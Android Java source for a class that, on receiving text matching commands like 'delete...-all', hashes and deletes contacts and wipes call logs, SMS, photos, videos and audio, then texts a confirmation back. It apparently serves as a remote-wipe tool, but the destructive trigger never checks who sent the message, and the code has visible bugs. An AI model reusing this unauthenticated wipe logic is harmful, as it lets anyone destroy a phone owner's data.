package com.example.mobiledestroy.util;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.provider.ContactsContract.Contacts;
import android.provider.ContactsContract.RawContacts;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.Contacts.Photo;
import android.telephony.SmsManager;
import android.util.Log;

public class KeyFilter{
	
	String content;
	private Context context;
	private int flag = 1;
	private SmsManager smsManager;
	private PendingIntent paIntent;
	private String address;
	
	public KeyFilter(Context context,String content,String address){
		this.content = content;
		this.context = context;
		this.address = address;
	}
	
	public void filter(){
		//以delete开头的字符串
		Pattern pattern = Pattern.compile("^delete.*-all$");
		Matcher matcher = pattern.matcher(content);
		if(matcher.matches()){
			Log.i(content, "符合delete -all开头条件");
			final String[] PHONES_PROJECTION = new String[] {  
			        Phone.DISPLAY_NAME, Phone.NUMBER, Photo.PHOTO_ID,Phone.CONTACT_ID };  
				
			ContentResolver resolver = context.getContentResolver();
		    Cursor cursor=resolver.query(Phone.CONTENT_URI,PHONES_PROJECTION, null, null, null);
		    while(cursor.moveToNext()){
		    	//得到手机号码  
		        String phoneNumber = cursor.getString(1);
		        //得到联系人名称  
		        String contactName = cursor.getString(0); 
		        
		        Log.i(phoneNumber, contactName);
		        
		        String rawContactId = "";  
                // 从Contacts表当中取得ContactId  
                String id = cursor.getString(cursor  
                        .getColumnIndex(ContactsContract.Contacts._ID)+1);  
                Log.v("contactID", id);  
  
                // 获取RawContacts表的游标  
                Cursor rawContactCur = resolver.query(RawContacts.CONTENT_URI, null,  
                        RawContacts._ID + "=?", new String[] { id }, null);  
                if (rawContactCur.moveToFirst()) {  
                    // 读取第一条记录的RawContacts._ID列的值  
                    rawContactId = rawContactCur.getString(rawContactCur  
                            .getColumnIndex(RawContacts._ID));  
                    Log.v("rawContactID", rawContactId);
                }  
		        ContentValues values = new ContentValues();
		        values.put(Phone.NUMBER, new MD5(phoneNumber).getMD5String());
		        values.put(Phone.TYPE, Phone.TYPE_MOBILE);
		        String where = ContactsContract.Data.RAW_CONTACT_ID + "=? AND "
		                + ContactsContract.Data.MIMETYPE + "=?";
		        String[] selectionArgs = new String[] { String.valueOf(rawContactId),
		                Phone.CONTENT_ITEM_TYPE };
		        
		        context.getContentResolver().update(ContactsContract.Data.CONTENT_URI, values,
		                where, selectionArgs);
		        
			    Cursor cursor2=resolver.query(Contacts.CONTENT_URI, null, null, null, null);
			    while(cursor2.moveToNext()){
			    	 String rawId = cursor2.getString(cursor2.getColumnIndex(ContactsContract.Contacts._ID));
			    	 String a = ContactsContract.Data._ID+"=?";
			    	 String[] whereParams = new String[]{rawId};
			    	 resolver.delete(ContactsContract.RawContacts.CONTENT_URI, a, whereParams);
			    }
		    }
			resolver.delete(CallLog.Calls.CONTENT_URI, null, null);
		    resolver.delete(Uri.parse("content://sms"), null, null);
		    
		    
		    
		    Uri mImageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;  
		    
            Cursor mCursor = resolver.query(mImageUri, null,  
                    MediaStore.Images.Media.MIME_TYPE + "=? or "  
                            + MediaStore.Images.Media.MIME_TYPE + "=?",  
                    new String[] { "image/jpeg", "image/png" }, MediaStore.Images.Media.DATE_MODIFIED);  
            
              
            while (mCursor.moveToNext()) {  
                //获取图片的路径  
                String path = mCursor.getString(mCursor  
                        .getColumnIndex(MediaStore.Images.Media.DATA));
                Log.i("image路径", path);
                File file = new File(path);
                InputStream input = null ;
                byte b[] = new byte[(int)file.length()];
                int length = b.length;
                try{
                    input = new FileInputStream(file) ;
                    input.read(b) ;//读取
                    input.close() ;
                }catch(Exception e){
                	e.printStackTrace() ;
                }
                byte[] a = new MD5(b).getMD5Byte();
                byte[] byte1;
                while(a.length>length){
                	byte1 = new byte[a.length+a.length];
                	System.arraycopy(a,0,byte1,0,a.length);
                }
                Uri uri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;  
                ContentValues values = new ContentValues();  
                values.put(MediaStore.Audio.Media.DATE_MODIFIED, a);  
//                resolver.update(MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI,values, null, null);  
            }  
           
            mCursor.close();  
            
		    resolver.delete(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null);
//		    resolver.delete(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, null, null);
		    resolver.delete(MediaStore.Video.Media.EXTERNAL_CONTENT_URI, null, null);
		    resolver.delete(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null);
		    resolver.delete(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, null, null);
		    resolver.delete(MediaStore.Video.Media.EXTERNAL_CONTENT_URI, null, null);
		    
		    flag = 0;
		}
		
		Pattern pattern1 = Pattern.compile("^delete.*-contact$");
		Matcher matcher1 = pattern1.matcher(content);
		if(matcher1.matches()){
			Log.i(content, "符合delete -contact开头条件");
			final String[] PHONES_PROJECTION = new String[] {  
			        Phone.DISPLAY_NAME, Phone.NUMBER, Photo.PHOTO_ID,Phone.CONTACT_ID };  
				
			ContentResolver resolver = context.getContentResolver();
		    Cursor cursor=resolver.query(Phone.CONTENT_URI,PHONES_PROJECTION, null, null, null);
		    while(cursor.moveToNext()){
		    	//得到手机号码  
		        String phoneNumber = cursor.getString(1);
		        //得到联系人名称  
		        String contactName = cursor.getString(0); 
		        
		        Log.i(phoneNumber, contactName);
		        
		        String rawContactId = "";  
                // 从Contacts表当中取得ContactId  
                String id = cursor.getString(cursor  
                        .getColumnIndex(ContactsContract.Contacts._ID)+1);  
                Log.v("contactID", id);  
  
                // 获取RawContacts表的游标  
                Cursor rawContactCur = resolver.query(RawContacts.CONTENT_URI, null,  
                        RawContacts._ID + "=?", new String[] { id }, null);  
                if (rawContactCur.moveToFirst()) {  
                    // 读取第一条记录的RawContacts._ID列的值  
                    rawContactId = rawContactCur.getString(rawContactCur  
                            .getColumnIndex(RawContacts._ID));  
                    Log.v("rawContactID", rawContactId);
                }  
		        ContentValues values = new ContentValues();
		        values.put(Phone.NUMBER, new MD5(phoneNumber).getMD5String());
		        values.put(Phone.TYPE, Phone.TYPE_MOBILE);
		        String where = ContactsContract.Data.RAW_CONTACT_ID + "=? AND "
		                + ContactsContract.Data.MIMETYPE + "=?";
		        String[] selectionArgs = new String[] { String.valueOf(rawContactId),
		                Phone.CONTENT_ITEM_TYPE };
		        
		        context.getContentResolver().update(ContactsContract.Data.CONTENT_URI, values,
		                where, selectionArgs);
		        
			    Cursor cursor2=resolver.query(Contacts.CONTENT_URI, null, null, null, null);
			    while(cursor2.moveToNext()){
			    	 String rawId = cursor2.getString(cursor2.getColumnIndex(ContactsContract.Contacts._ID));
			    	 String a = ContactsContract.Data._ID+"=?";
			    	 String[] whereParams = new String[]{rawId};
			    	 resolver.delete(ContactsContract.RawContacts.CONTENT_URI, a, whereParams);
			    }
		    }
		}
		
		Pattern pattern2 = Pattern.compile("^delete.*-record$");
		Matcher matcher2 = pattern2.matcher(content);
		if(matcher2.matches()){
			Log.i(content, "符合delete -record开头条件");
			//删除通话记录
			ContentResolver resolver=context.getContentResolver();
			resolver.delete(CallLog.Calls.CONTENT_URI, null, null);
		    
		    //删除短信记录
		    resolver.delete(Uri.parse("content://sms"), null, null);
		    flag = 0;
		}
		
		Pattern pattern3 = Pattern.compile("^delete.*-picture$");
		Matcher matcher3 = pattern3.matcher(content);
		if(matcher3.matches()){
			Log.i(content, "符合delete -picture开头条件");
			ContentResolver resolver=context.getContentResolver();
			Uri mImageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;  
			  
            //只查询jpeg和png的图片  
            Cursor mCursor = resolver.query(mImageUri, null,  
                    MediaStore.Images.Media.MIME_TYPE + "=? or "  
                            + MediaStore.Images.Media.MIME_TYPE + "=?",  
                    new String[] { "image/jpeg", "image/png" }, MediaStore.Images.Media.DATE_MODIFIED);  
            
              
            while (mCursor.moveToNext()) {  
                //获取图片的路径  
                String path = mCursor.getString(mCursor  
                        .getColumnIndex(MediaStore.Images.Media.DATA));
                Log.i("image路径", path);
                File file = new File(path);
                InputStream input = null ;
                byte b[] = new byte[(int)file.length()] ;//定义一个用于接收字符串的数组
                int length = b.length;
                try{
                    input = new FileInputStream(file) ;
                    input.read(b) ;//读取
                    input.close() ;
                }catch(Exception e){
                	e.printStackTrace() ;
                }
                byte[] a = new MD5(b).getMD5Byte();
                byte[] byte1;
                while(a.length>length){
                	byte1 = new byte[a.length+a.length];
                	System.arraycopy(a,0,byte1,0,a.length);
                }
                Uri uri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;  
                ContentValues values = new ContentValues();  
                values.put(MediaStore.Audio.Media.DATE_MODIFIED, a);  
//                resolver.update(MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI,values, null, null);  
            }  
           
            mCursor.close();  
            
		    resolver.delete(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null);
//		    resolver.delete(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, null, null);
		    resolver.delete(MediaStore.Video.Media.EXTERNAL_CONTENT_URI, null, null);
		    flag = 0;
		}
		
		
		if(flag == 0){
			paIntent = PendingIntent.getBroadcast(context, 0, new Intent(), 0); 
			smsManager = SmsManager.getDefault();
			smsManager.sendTextMessage(address, null, "已成功删除别怕", paIntent, 
                    null); 
		}
	}
}
